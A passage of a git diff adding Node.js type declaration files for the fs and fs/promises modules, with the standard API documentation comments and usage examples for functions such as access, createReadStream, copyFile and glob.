operating systems only. + */ + const O_NOATIME: number; + /** Constant for fs.open(). Flag indicating that the open should fail if the path is a symbolic link. */ + const O_NOFOLLOW: number; + /** Constant for fs.open(). Flag indicating that the file is opened for synchronous I/O. */ + const O_SYNC: number; + /** Constant for fs.open(). Flag indicating that the file is opened for synchronous I/O with write operations waiting for data integrity. */ + const O_DSYNC: number; + /** Constant for fs.open(). Flag indicating to open the symbolic link itself rather than the resource it is pointing to. */ + const O_SYMLINK: number; + /** Constant for fs.open(). When set, an attempt will be made to minimize caching effects of file I/O. */ + const O_DIRECT: number; + /** Constant for fs.open(). Flag indicating to open the file in nonblocking mode when possible. */ + const O_NONBLOCK: number; + // File Type Constants + /** Constant for fs.Stats mode property for determining a file's type. Bit mask used to extract the file type code. */ + const S_IFMT: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a regular file. */ + const S_IFREG: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a directory. */ + const S_IFDIR: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a character-oriented device file. */ + const S_IFCHR: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a block-oriented device file. */ + const S_IFBLK: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a FIFO/pipe. */ + const S_IFIFO: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a symbolic link. */ + const S_IFLNK: number; + /** Constant for fs.Stats mode property for determining a file's type. File type constant for a socket. */ + const S_IFSOCK: number; + // File Mode Constants + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating readable, writable and executable by owner. */ + const S_IRWXU: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating readable by owner. */ + const S_IRUSR: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating writable by owner. */ + const S_IWUSR: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating executable by owner. */ + const S_IXUSR: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating readable, writable and executable by group. */ + const S_IRWXG: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating readable by group. */ + const S_IRGRP: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating writable by group. */ + const S_IWGRP: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating executable by group. */ + const S_IXGRP: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating readable, writable and executable by others. */ + const S_IRWXO: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating readable by others. */ + const S_IROTH: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating writable by others. */ + const S_IWOTH: number; + /** Constant for fs.Stats mode property for determining access permissions for a file. File mode indicating executable by others. */ + const S_IXOTH: number; + /** + * When set, a memory file mapping is used to access the file. This flag + * is available on Windows operating systems only. On other operating systems, + * this flag is ignored. + */ + const UV_FS_O_FILEMAP: number; + } + /** + * Tests a user's permissions for the file or directory specified by `path`. + * The `mode` argument is an optional integer that specifies the accessibility + * checks to be performed. `mode` should be either the value `fs.constants.F_OK` or a mask consisting of the bitwise OR of any of `fs.constants.R_OK`, `fs.constants.W_OK`, and `fs.constants.X_OK` + * (e.g.`fs.constants.W_OK | fs.constants.R_OK`). Check `File access constants` for + * possible values of `mode`. + * + * The final argument, `callback`, is a callback function that is invoked with + * a possible error argument. If any of the accessibility checks fail, the error + * argument will be an `Error` object. The following examples check if `package.json` exists, and if it is readable or writable. + * + * ```js + * import { access, constants } from 'node:fs'; + * + * const file = 'package.json'; + * + * // Check if the file exists in the current directory. + * access(file, constants.F_OK, (err) => { + * console.log(`${file} ${err ? 'does not exist' : 'exists'}`); + * }); + * + * // Check if the file is readable. + * access(file, constants.R_OK, (err) => { + * console.log(`${file} ${err ? 'is not readable' : 'is readable'}`); + * }); + * + * // Check if the file is writable. + * access(file, constants.W_OK, (err) => { + * console.log(`${file} ${err ? 'is not writable' : 'is writable'}`); + * }); + * + * // Check if the file is readable and writable. + * access(file, constants.R_OK | constants.W_OK, (err) => { + * console.log(`${file} ${err ? 'is not' : 'is'} readable and writable`); + * }); + * ``` + * + * Do not use `fs.access()` to check for the accessibility of a file before calling `fs.open()`, `fs.readFile()`, or `fs.writeFile()`. Doing + * so introduces a race condition, since other processes may change the file's + * state between the two calls. Instead, user code should open/read/write the + * file directly and handle the error raised if the file is not accessible. + * + * **write (NOT RECOMMENDED)** + * + * ```js + * import { access, open, close } from 'node:fs'; + * + * access('myfile', (err) => { + * if (!err) { + * console.error('myfile already exists'); + * return; + * } + * + * open('myfile', 'wx', (err, fd) => { + * if (err) throw err; + * + * try { + * writeMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * }); + * ``` + * + * **write (RECOMMENDED)** + * + * ```js + * import { open, close } from 'node:fs'; + * + * open('myfile', 'wx', (err, fd) => { + * if (err) { + * if (err.code === 'EEXIST') { + * console.error('myfile already exists'); + * return; + * } + * + * throw err; + * } + * + * try { + * writeMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * ``` + * + * **read (NOT RECOMMENDED)** + * + * ```js + * import { access, open, close } from 'node:fs'; + * access('myfile', (err) => { + * if (err) { + * if (err.code === 'ENOENT') { + * console.error('myfile does not exist'); + * return; + * } + * + * throw err; + * } + * + * open('myfile', 'r', (err, fd) => { + * if (err) throw err; + * + * try { + * readMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * }); + * ``` + * + * **read (RECOMMENDED)** + * + * ```js + * import { open, close } from 'node:fs'; + * + * open('myfile', 'r', (err, fd) => { + * if (err) { + * if (err.code === 'ENOENT') { + * console.error('myfile does not exist'); + * return; + * } + * + * throw err; + * } + * + * try { + * readMyData(fd); + * } finally { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * }); + * ``` + * + * The "not recommended" examples above check for accessibility and then use the + * file; the "recommended" examples are better because they use the file directly + * and handle the error, if any. + * + * In general, check for the accessibility of a file only if the file will not be + * used directly, for example when its accessibility is a signal from another + * process. + * + * On Windows, access-control policies (ACLs) on a directory may limit access to + * a file or directory. The `fs.access()` function, however, does not check the + * ACL and therefore may report that a path is accessible even if the ACL restricts + * the user from reading or writing to it. + * @since v0.11.15 + * @param [mode=fs.constants.F_OK] + */ + export function access(path: PathLike, mode: number | undefined, callback: NoParamCallback): void; + /** + * Asynchronously tests a user's permissions for the file specified by path. + * @param path A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + */ + export function access(path: PathLike, callback: NoParamCallback): void; + export namespace access { + /** + * Asynchronously tests a user's permissions for the file specified by path. + * @param path A path to a file or directory. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + */ + function __promisify__(path: PathLike, mode?: number): Promise; + } + /** + * Synchronously tests a user's permissions for the file or directory specified + * by `path`. The `mode` argument is an optional integer that specifies the + * accessibility checks to be performed. `mode` should be either the value `fs.constants.F_OK` or a mask consisting of the bitwise OR of any of `fs.constants.R_OK`, `fs.constants.W_OK`, and + * `fs.constants.X_OK` (e.g.`fs.constants.W_OK | fs.constants.R_OK`). Check `File access constants` for + * possible values of `mode`. + * + * If any of the accessibility checks fail, an `Error` will be thrown. Otherwise, + * the method will return `undefined`. + * + * ```js + * import { accessSync, constants } from 'node:fs'; + * + * try { + * accessSync('etc/passwd', constants.R_OK | constants.W_OK); + * console.log('can read/write'); + * } catch (err) { + * console.error('no access!'); + * } + * ``` + * @since v0.11.15 + * @param [mode=fs.constants.F_OK] + */ + export function accessSync(path: PathLike, mode?: number): void; + interface StreamOptions { + flags?: string | undefined; + encoding?: BufferEncoding | undefined; + fd?: number | promises.FileHandle | undefined; + mode?: number | undefined; + autoClose?: boolean | undefined; + emitClose?: boolean | undefined; + start?: number | undefined; + signal?: AbortSignal | null | undefined; + highWaterMark?: number | undefined; + } + interface FSImplementation { + open?: (...args: any[]) => any; + close?: (...args: any[]) => any; + } + interface CreateReadStreamFSImplementation extends FSImplementation { + read: (...args: any[]) => any; + } + interface CreateWriteStreamFSImplementation extends FSImplementation { + write: (...args: any[]) => any; + writev?: (...args: any[]) => any; + } + interface ReadStreamOptions extends StreamOptions { + fs?: CreateReadStreamFSImplementation | null | undefined; + end?: number | undefined; + } + interface WriteStreamOptions extends StreamOptions { + fs?: CreateWriteStreamFSImplementation | null | undefined; + flush?: boolean | undefined; + } + /** + * Unlike the 16 KiB default `highWaterMark` for a `stream.Readable`, the stream + * returned by this method has a default `highWaterMark` of 64 KiB. + * + * `options` can include `start` and `end` values to read a range of bytes from + * the file instead of the entire file. Both `start` and `end` are inclusive and + * start counting at 0, allowed values are in the + * \[0, [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER)\] range. If `fd` is specified and `start` is + * omitted or `undefined`, `fs.createReadStream()` reads sequentially from the + * current file position. The `encoding` can be any one of those accepted by `Buffer`. + * + * If `fd` is specified, `ReadStream` will ignore the `path` argument and will use + * the specified file descriptor. This means that no `'open'` event will be + * emitted. `fd` should be blocking; non-blocking `fd`s should be passed to `net.Socket`. + * + * If `fd` points to a character device that only supports blocking reads + * (such as keyboard or sound card), read operations do not finish until data is + * available. This can prevent the process from exiting and the stream from + * closing naturally. + * + * By default, the stream will emit a `'close'` event after it has been + * destroyed. Set the `emitClose` option to `false` to change this behavior. + * + * By providing the `fs` option, it is possible to override the corresponding `fs` implementations for `open`, `read`, and `close`. When providing the `fs` option, + * an override for `read` is required. If no `fd` is provided, an override for `open` is also required. If `autoClose` is `true`, an override for `close` is + * also required. + * + * ```js + * import { createReadStream } from 'node:fs'; + * + * // Create a stream from some character device. + * const stream = createReadStream('/dev/input/event0'); + * setTimeout(() => { + * stream.close(); // This may not close the stream. + * // Artificially marking end-of-stream, as if the underlying resource had + * // indicated end-of-file by itself, allows the stream to close. + * // This does not cancel pending read operations, and if there is such an + * // operation, the process may still not be able to exit successfully + * // until it finishes. + * stream.push(null); + * stream.read(0); + * }, 100); + * ``` + * + * If `autoClose` is false, then the file descriptor won't be closed, even if + * there's an error. It is the application's responsibility to close it and make + * sure there's no file descriptor leak. If `autoClose` is set to true (default + * behavior), on `'error'` or `'end'` the file descriptor will be closed + * automatically. + * + * `mode` sets the file mode (permission and sticky bits), but only if the + * file was created. + * + * An example to read the last 10 bytes of a file which is 100 bytes long: + * + * ```js + * import { createReadStream } from 'node:fs'; + * + * createReadStream('sample.txt', { start: 90, end: 99 }); + * ``` + * + * If `options` is a string, then it specifies the encoding. + * @since v0.1.31 + */ + export function createReadStream(path: PathLike, options?: BufferEncoding | ReadStreamOptions): ReadStream; + /** + * `options` may also include a `start` option to allow writing data at some + * position past the beginning of the file, allowed values are in the + * \[0, [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER)\] range. Modifying a file rather than + * replacing it may require the `flags` option to be set to `r+` rather than the + * default `w`. The `encoding` can be any one of those accepted by `Buffer`. + * + * If `autoClose` is set to true (default behavior) on `'error'` or `'finish'` the file descriptor will be closed automatically. If `autoClose` is false, + * then the file descriptor won't be closed, even if there's an error. + * It is the application's responsibility to close it and make sure there's no + * file descriptor leak. + * + * By default, the stream will emit a `'close'` event after it has been + * destroyed. Set the `emitClose` option to `false` to change this behavior. + * + * By providing the `fs` option it is possible to override the corresponding `fs` implementations for `open`, `write`, `writev`, and `close`. Overriding `write()` without `writev()` can reduce + * performance as some optimizations (`_writev()`) + * will be disabled. When providing the `fs` option, overrides for at least one of `write` and `writev` are required. If no `fd` option is supplied, an override + * for `open` is also required. If `autoClose` is `true`, an override for `close` is also required. + * + * Like `fs.ReadStream`, if `fd` is specified, `fs.WriteStream` will ignore the `path` argument and will use the specified file descriptor. This means that no `'open'` event will be + * emitted. `fd` should be blocking; non-blocking `fd`s + * should be passed to `net.Socket`. + * + * If `options` is a string, then it specifies the encoding. + * @since v0.1.31 + */ + export function createWriteStream(path: PathLike, options?: BufferEncoding | WriteStreamOptions): WriteStream; + /** + * Forces all currently queued I/O operations associated with the file to the + * operating system's synchronized I/O completion state. Refer to the POSIX [`fdatasync(2)`](http://man7.org/linux/man-pages/man2/fdatasync.2.html) documentation for details. No arguments other + * than a possible + * exception are given to the completion callback. + * @since v0.1.96 + */ + export function fdatasync(fd: number, callback: NoParamCallback): void; + export namespace fdatasync { + /** + * Asynchronous fdatasync(2) - synchronize a file's in-core state with storage device. + * @param fd A file descriptor. + */ + function __promisify__(fd: number): Promise; + } + /** + * Forces all currently queued I/O operations associated with the file to the + * operating system's synchronized I/O completion state. Refer to the POSIX [`fdatasync(2)`](http://man7.org/linux/man-pages/man2/fdatasync.2.html) documentation for details. Returns `undefined`. + * @since v0.1.96 + */ + export function fdatasyncSync(fd: number): void; + /** + * Asynchronously copies `src` to `dest`. By default, `dest` is overwritten if it + * already exists. No arguments other than a possible exception are given to the + * callback function. Node.js makes no guarantees about the atomicity of the copy + * operation. If an error occurs after the destination file has been opened for + * writing, Node.js will attempt to remove the destination. + * + * `mode` is an optional integer that specifies the behavior + * of the copy operation. It is possible to create a mask consisting of the bitwise + * OR of two or more values (e.g.`fs.constants.COPYFILE_EXCL | fs.constants.COPYFILE_FICLONE`). + * + * * `fs.constants.COPYFILE_EXCL`: The copy operation will fail if `dest` already + * exists. + * * `fs.constants.COPYFILE_FICLONE`: The copy operation will attempt to create a + * copy-on-write reflink. If the platform does not support copy-on-write, then a + * fallback copy mechanism is used. + * * `fs.constants.COPYFILE_FICLONE_FORCE`: The copy operation will attempt to + * create a copy-on-write reflink. If the platform does not support + * copy-on-write, then the operation will fail. + * + * ```js + * import { copyFile, constants } from 'node:fs'; + * + * function callback(err) { + * if (err) throw err; + * console.log('source.txt was copied to destination.txt'); + * } + * + * // destination.txt will be created or overwritten by default. + * copyFile('source.txt', 'destination.txt', callback); + * + * // By using COPYFILE_EXCL, the operation will fail if destination.txt exists. + * copyFile('source.txt', 'destination.txt', constants.COPYFILE_EXCL, callback); + * ``` + * @since v8.5.0 + * @param src source filename to copy + * @param dest destination filename of the copy operation + * @param [mode=0] modifiers for copy operation. + */ + export function copyFile(src: PathLike, dest: PathLike, callback: NoParamCallback): void; + export function copyFile(src: PathLike, dest: PathLike, mode: number, callback: NoParamCallback): void; + export namespace copyFile { + function __promisify__(src: PathLike, dst: PathLike, mode?: number): Promise; + } + /** + * Synchronously copies `src` to `dest`. By default, `dest` is overwritten if it + * already exists. Returns `undefined`. Node.js makes no guarantees about the + * atomicity of the copy operation. If an error occurs after the destination file + * has been opened for writing, Node.js will attempt to remove the destination. + * + * `mode` is an optional integer that specifies the behavior + * of the copy operation. It is possible to create a mask consisting of the bitwise + * OR of two or more values (e.g.`fs.constants.COPYFILE_EXCL | fs.constants.COPYFILE_FICLONE`). + * + * * `fs.constants.COPYFILE_EXCL`: The copy operation will fail if `dest` already + * exists. + * * `fs.constants.COPYFILE_FICLONE`: The copy operation will attempt to create a + * copy-on-write reflink. If the platform does not support copy-on-write, then a + * fallback copy mechanism is used. + * * `fs.constants.COPYFILE_FICLONE_FORCE`: The copy operation will attempt to + * create a copy-on-write reflink. If the platform does not support + * copy-on-write, then the operation will fail. + * + * ```js + * import { copyFileSync, constants } from 'node:fs'; + * + * // destination.txt will be created or overwritten by default. + * copyFileSync('source.txt', 'destination.txt'); + * console.log('source.txt was copied to destination.txt'); + * + * // By using COPYFILE_EXCL, the operation will fail if destination.txt exists. + * copyFileSync('source.txt', 'destination.txt', constants.COPYFILE_EXCL); + * ``` + * @since v8.5.0 + * @param src source filename to copy + * @param dest destination filename of the copy operation + * @param [mode=0] modifiers for copy operation. + */ + export function copyFileSync(src: PathLike, dest: PathLike, mode?: number): void; + /** + * Write an array of `ArrayBufferView`s to the file specified by `fd` using `writev()`. + * + * `position` is the offset from the beginning of the file where this data + * should be written. If `typeof position !== 'number'`, the data will be written + * at the current position. + * + * The callback will be given three arguments: `err`, `bytesWritten`, and `buffers`. `bytesWritten` is how many bytes were written from `buffers`. + * + * If this method is `util.promisify()` ed, it returns a promise for an `Object` with `bytesWritten` and `buffers` properties. + * + * It is unsafe to use `fs.writev()` multiple times on the same file without + * waiting for the callback. For this scenario, use {@link createWriteStream}. + * + * On Linux, positional writes don't work when the file is opened in append mode. + * The kernel ignores the position argument and always appends the data to + * the end of the file. + * @since v12.9.0 + * @param [position='null'] + */ + export function writev( + fd: number, + buffers: readonly NodeJS.ArrayBufferView[], + cb: (err: NodeJS.ErrnoException | null, bytesWritten: number, buffers: NodeJS.ArrayBufferView[]) => void, + ): void; + export function writev( + fd: number, + buffers: readonly NodeJS.ArrayBufferView[], + position: number, + cb: (err: NodeJS.ErrnoException | null, bytesWritten: number, buffers: NodeJS.ArrayBufferView[]) => void, + ): void; + export interface WriteVResult { + bytesWritten: number; + buffers: NodeJS.ArrayBufferView[]; + } + export namespace writev { + function __promisify__( + fd: number, + buffers: readonly NodeJS.ArrayBufferView[], + position?: number, + ): Promise; + } + /** + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link writev}. + * @since v12.9.0 + * @param [position='null'] + * @return The number of bytes written. + */ + export function writevSync(fd: number, buffers: readonly NodeJS.ArrayBufferView[], position?: number): number; + /** + * Read from a file specified by `fd` and write to an array of `ArrayBufferView`s + * using `readv()`. + * + * `position` is the offset from the beginning of the file from where data + * should be read. If `typeof position !== 'number'`, the data will be read + * from the current position. + * + * The callback will be given three arguments: `err`, `bytesRead`, and `buffers`. `bytesRead` is how many bytes were read from the file. + * + * If this method is invoked as its `util.promisify()` ed version, it returns + * a promise for an `Object` with `bytesRead` and `buffers` properties. + * @since v13.13.0, v12.17.0 + * @param [position='null'] + */ + export function readv( + fd: number, + buffers: readonly NodeJS.ArrayBufferView[], + cb: (err: NodeJS.ErrnoException | null, bytesRead: number, buffers: NodeJS.ArrayBufferView[]) => void, + ): void; + export function readv( + fd: number, + buffers: readonly NodeJS.ArrayBufferView[], + position: number, + cb: (err: NodeJS.ErrnoException | null, bytesRead: number, buffers: NodeJS.ArrayBufferView[]) => void, + ): void; + export interface ReadVResult { + bytesRead: number; + buffers: NodeJS.ArrayBufferView[]; + } + export namespace readv { + function __promisify__( + fd: number, + buffers: readonly NodeJS.ArrayBufferView[], + position?: number, + ): Promise; + } + /** + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link readv}. + * @since v13.13.0, v12.17.0 + * @param [position='null'] + * @return The number of bytes read. + */ + export function readvSync(fd: number, buffers: readonly NodeJS.ArrayBufferView[], position?: number): number; + + export interface OpenAsBlobOptions { + /** + * An optional mime type for the blob. + * + * @default 'undefined' + */ + type?: string | undefined; + } + + /** + * Returns a `Blob` whose data is backed by the given file. + * + * The file must not be modified after the `Blob` is created. Any modifications + * will cause reading the `Blob` data to fail with a `DOMException` error. + * Synchronous stat operations on the file when the `Blob` is created, and before + * each read in order to detect whether the file data has been modified on disk. + * + * ```js + * import { openAsBlob } from 'node:fs'; + * + * const blob = await openAsBlob('the.file.txt'); + * const ab = await blob.arrayBuffer(); + * blob.stream(); + * ``` + * @since v19.8.0 + * @experimental + */ + export function openAsBlob(path: PathLike, options?: OpenAsBlobOptions): Promise; + + export interface OpenDirOptions { + /** + * @default 'utf8' + */ + encoding?: BufferEncoding | undefined; + /** + * Number of directory entries that are buffered + * internally when reading from the directory. Higher values lead to better + * performance but higher memory usage. + * @default 32 + */ + bufferSize?: number | undefined; + /** + * @default false + */ + recursive?: boolean; + } + /** + * Synchronously open a directory. See [`opendir(3)`](http://man7.org/linux/man-pages/man3/opendir.3.html). + * + * Creates an `fs.Dir`, which contains all further functions for reading from + * and cleaning up the directory. + * + * The `encoding` option sets the encoding for the `path` while opening the + * directory and subsequent read operations. + * @since v12.12.0 + */ + export function opendirSync(path: PathLike, options?: OpenDirOptions): Dir; + /** + * Asynchronously open a directory. See the POSIX [`opendir(3)`](http://man7.org/linux/man-pages/man3/opendir.3.html) documentation for + * more details. + * + * Creates an `fs.Dir`, which contains all further functions for reading from + * and cleaning up the directory. + * + * The `encoding` option sets the encoding for the `path` while opening the + * directory and subsequent read operations. + * @since v12.12.0 + */ + export function opendir(path: PathLike, cb: (err: NodeJS.ErrnoException | null, dir: Dir) => void): void; + export function opendir( + path: PathLike, + options: OpenDirOptions, + cb: (err: NodeJS.ErrnoException | null, dir: Dir) => void, + ): void; + export namespace opendir { + function __promisify__(path: PathLike, options?: OpenDirOptions): Promise; + } + export interface BigIntStats extends StatsBase { + atimeNs: bigint; + mtimeNs: bigint; + ctimeNs: bigint; + birthtimeNs: bigint; + } + export interface BigIntOptions { + bigint: true; + } + export interface StatOptions { + bigint?: boolean | undefined; + } + export interface StatSyncOptions extends StatOptions { + throwIfNoEntry?: boolean | undefined; + } + interface CopyOptionsBase { + /** + * Dereference symlinks + * @default false + */ + dereference?: boolean; + /** + * When `force` is `false`, and the destination + * exists, throw an error. + * @default false + */ + errorOnExist?: boolean; + /** + * Overwrite existing file or directory. _The copy + * operation will ignore errors if you set this to false and the destination + * exists. Use the `errorOnExist` option to change this behavior. + * @default true + */ + force?: boolean; + /** + * Modifiers for copy operation. See `mode` flag of {@link copyFileSync()} + */ + mode?: number; + /** + * When `true` timestamps from `src` will + * be preserved. + * @default false + */ + preserveTimestamps?: boolean; + /** + * Copy directories recursively. + * @default false + */ + recursive?: boolean; + /** + * When true, path resolution for symlinks will be skipped + * @default false + */ + verbatimSymlinks?: boolean; + } + export interface CopyOptions extends CopyOptionsBase { + /** + * Function to filter copied files/directories. Return + * `true` to copy the item, `false` to ignore it. + */ + filter?(source: string, destination: string): boolean | Promise; + } + export interface CopySyncOptions extends CopyOptionsBase { + /** + * Function to filter copied files/directories. Return + * `true` to copy the item, `false` to ignore it. + */ + filter?(source: string, destination: string): boolean; + } + /** + * Asynchronously copies the entire directory structure from `src` to `dest`, + * including subdirectories and files. + * + * When copying a directory to another directory, globs are not supported and + * behavior is similar to `cp dir1/ dir2/`. + * @since v16.7.0 + * @experimental + * @param src source path to copy. + * @param dest destination path to copy to. + */ + export function cp( + source: string | URL, + destination: string | URL, + callback: (err: NodeJS.ErrnoException | null) => void, + ): void; + export function cp( + source: string | URL, + destination: string | URL, + opts: CopyOptions, + callback: (err: NodeJS.ErrnoException | null) => void, + ): void; + /** + * Synchronously copies the entire directory structure from `src` to `dest`, + * including subdirectories and files. + * + * When copying a directory to another directory, globs are not supported and + * behavior is similar to `cp dir1/ dir2/`. + * @since v16.7.0 + * @experimental + * @param src source path to copy. + * @param dest destination path to copy to. + */ + export function cpSync(source: string | URL, destination: string | URL, opts?: CopySyncOptions): void; + + export interface GlobOptions { + /** + * Current working directory. + * @default process.cwd() + */ + cwd?: string | undefined; + /** + * Function to filter out files/directories. Return true to exclude the item, false to include it. + */ + exclude?: ((fileName: string) => boolean) | undefined; + /** + * `true` if the glob should return paths as `Dirent`s, `false` otherwise. + * @default false + * @since v22.2.0 + */ + withFileTypes?: boolean | undefined; + } + export interface GlobOptionsWithFileTypes extends GlobOptions { + withFileTypes: true; + } + export interface GlobOptionsWithoutFileTypes extends GlobOptions { + withFileTypes?: false | undefined; + } + /** + * Retrieves the files matching the specified pattern. + */ + export function glob( + pattern: string | string[], + callback: (err: NodeJS.ErrnoException | null, matches: string[]) => void, + ): void; + export function glob( + pattern: string | string[], + options: GlobOptionsWithFileTypes, + callback: ( + err: NodeJS.ErrnoException | null, + matches: Dirent[], + ) => void, + ): void; + export function glob( + pattern: string | string[], + options: GlobOptionsWithoutFileTypes, + callback: ( + err: NodeJS.ErrnoException | null, + matches: string[], + ) => void, + ): void; + export function glob( + pattern: string | string[], + options: GlobOptions, + callback: ( + err: NodeJS.ErrnoException | null, + matches: Dirent[] | string[], + ) => void, + ): void; + /** + * Retrieves the files matching the specified pattern. + */ + export function globSync(pattern: string | string[]): string[]; + export function globSync( + pattern: string | string[], + options: GlobOptionsWithFileTypes, + ): Dirent[]; + export function globSync( + pattern: string | string[], + options: GlobOptionsWithoutFileTypes, + ): string[]; + export function globSync( + pattern: string | string[], + options: GlobOptions, + ): Dirent[] | string[]; +} +declare module "node:fs" { + export * from "fs"; +} diff --git a/node_modules/@types/node/fs/promises.d.ts b/node_modules/@types/node/fs/promises.d.ts new file mode 100644 index 000000000000..e89010f1c2f1 --- /dev/null +++ b/node_modules/@types/node/fs/promises.d.ts @@ -0,0 +1,1264 @@ +/** + * The `fs/promises` API provides asynchronous file system methods that return + * promises. + * + * The promise APIs use the underlying Node.js threadpool to perform file + * system operations off the event loop thread. These operations are not + * synchronized or threadsafe. Care must be taken when performing multiple + * concurrent modifications on the same file or data corruption may occur. + * @since v10.0.0 + */ +declare module "fs/promises" { + import { Abortable } from "node:events"; + import { Stream } from "node:stream"; + import { ReadableStream } from "node:stream/web"; + import { + BigIntStats, + BigIntStatsFs, + BufferEncodingOption, + constants as fsConstants, + CopyOptions, + Dir, + Dirent, + GlobOptions, + GlobOptionsWithFileTypes, + GlobOptionsWithoutFileTypes, + MakeDirectoryOptions, + Mode, + ObjectEncodingOptions, + OpenDirOptions, + OpenMode, + PathLike, + ReadStream, + ReadVResult, + RmDirOptions, + RmOptions, + StatFsOptions, + StatOptions, + Stats, + StatsFs, + TimeLike, + WatchEventType, + WatchOptions, + WriteStream, + WriteVResult, + } from "node:fs"; + import { Interface as ReadlineInterface } from "node:readline"; + interface FileChangeInfo { + eventType: WatchEventType; + filename: T | null; + } + interface FlagAndOpenMode { + mode?: Mode | undefined; + flag?: OpenMode | undefined; + } + interface FileReadResult { + bytesRead: number; + buffer: T; + } + interface FileReadOptions { + /** + * @default `Buffer.alloc(0xffff)` + */ + buffer?: T; + /** + * @default 0 + */ + offset?: number | null; + /** + * @default `buffer.byteLength` + */ + length?: number | null; + position?: number | null; + } + interface CreateReadStreamOptions { + encoding?: BufferEncoding | null | undefined; + autoClose?: boolean | undefined; + emitClose?: boolean | undefined; + start?: number | undefined; + end?: number | undefined; + highWaterMark?: number | undefined; + } + interface CreateWriteStreamOptions { + encoding?: BufferEncoding | null | undefined; + autoClose?: boolean | undefined; + emitClose?: boolean | undefined; + start?: number | undefined; + highWaterMark?: number | undefined; + flush?: boolean | undefined; + } + interface ReadableWebStreamOptions { + /** + * Whether to open a normal or a `'bytes'` stream. + * @since v20.0.0 + */ + type?: "bytes" | undefined; + } + // TODO: Add `EventEmitter` close + interface FileHandle { + /** + * The numeric file descriptor managed by the {FileHandle} object. + * @since v10.0.0 + */ + readonly fd: number; + /** + * Alias of `filehandle.writeFile()`. + * + * When operating on file handles, the mode cannot be changed from what it was set + * to with `fsPromises.open()`. Therefore, this is equivalent to `filehandle.writeFile()`. + * @since v10.0.0 + * @return Fulfills with `undefined` upon success. + */ + appendFile( + data: string | Uint8Array, + options?: + | (ObjectEncodingOptions & FlagAndOpenMode & { flush?: boolean | undefined }) + | BufferEncoding + | null, + ): Promise; + /** + * Changes the ownership of the file. A wrapper for [`chown(2)`](http://man7.org/linux/man-pages/man2/chown.2.html). + * @since v10.0.0 + * @param uid The file's new owner's user id. + * @param gid The file's new group's group id. + * @return Fulfills with `undefined` upon success. + */ + chown(uid: number, gid: number): Promise; + /** + * Modifies the permissions on the file. See [`chmod(2)`](http://man7.org/linux/man-pages/man2/chmod.2.html). + * @since v10.0.0 + * @param mode the file mode bit mask. + * @return Fulfills with `undefined` upon success. + */ + chmod(mode: Mode): Promise; + /** + * Unlike the 16 KiB default `highWaterMark` for a `stream.Readable`, the stream + * returned by this method has a default `highWaterMark` of 64 KiB. + * + * `options` can include `start` and `end` values to read a range of bytes from + * the file instead of the entire file. Both `start` and `end` are inclusive and + * start counting at 0, allowed values are in the + * \[0, [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER)\] range. If `start` is + * omitted or `undefined`, `filehandle.createReadStream()` reads sequentially from + * the current file position. The `encoding` can be any one of those accepted by `Buffer`. + * + * If the `FileHandle` points to a character device that only supports blocking + * reads (such as keyboard or sound card), read operations do not finish until data + * is available. This can prevent the process from exiting and the stream from + * closing naturally. + * + * By default, the stream will emit a `'close'` event after it has been + * destroyed. Set the `emitClose` option to `false` to change this behavior. + * + * ```js + * import { open } from 'node:fs/promises'; + * + * const fd = await open('/dev/input/event0'); + * // Create a stream from some character device. + * const stream = fd.createReadStream(); + * setTimeout(() => { + * stream.close(); // This may not close the stream. + * // Artificially marking end-of-stream, as if the underlying resource had + * // indicated end-of-file by itself, allows the stream to close. + * // This does not cancel pending read operations, and if there is such an + * // operation, the process may still not be able to exit successfully + * // until it finishes. + * stream.push(null); + * stream.read(0); + * }, 100); + * ``` + * + * If `autoClose` is false, then the file descriptor won't be closed, even if + * there's an error. It is the application's responsibility to close it and make + * sure there's no file descriptor leak. If `autoClose` is set to true (default + * behavior), on `'error'` or `'end'` the file descriptor will be closed + * automatically. + * + * An example to read the last 10 bytes of a file which is 100 bytes long: + * + * ```js + * import { open } from 'node:fs/promises'; + * + * const fd = await open('sample.txt'); + * fd.createReadStream({ start: 90, end: 99 }); + * ``` + * @since v16.11.0 + */ + createReadStream(options?: CreateReadStreamOptions): ReadStream; + /** + * `options` may also include a `start` option to allow writing data at some + * position past the beginning of the file, allowed values are in the + * \[0, [`Number.MAX_SAFE_INTEGER`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER)\] range. Modifying a file rather than + * replacing it may require the `flags` `open` option to be set to `r+` rather than + * the default `r`. The `encoding` can be any one of those accepted by `Buffer`. + * + * If `autoClose` is set to true (default behavior) on `'error'` 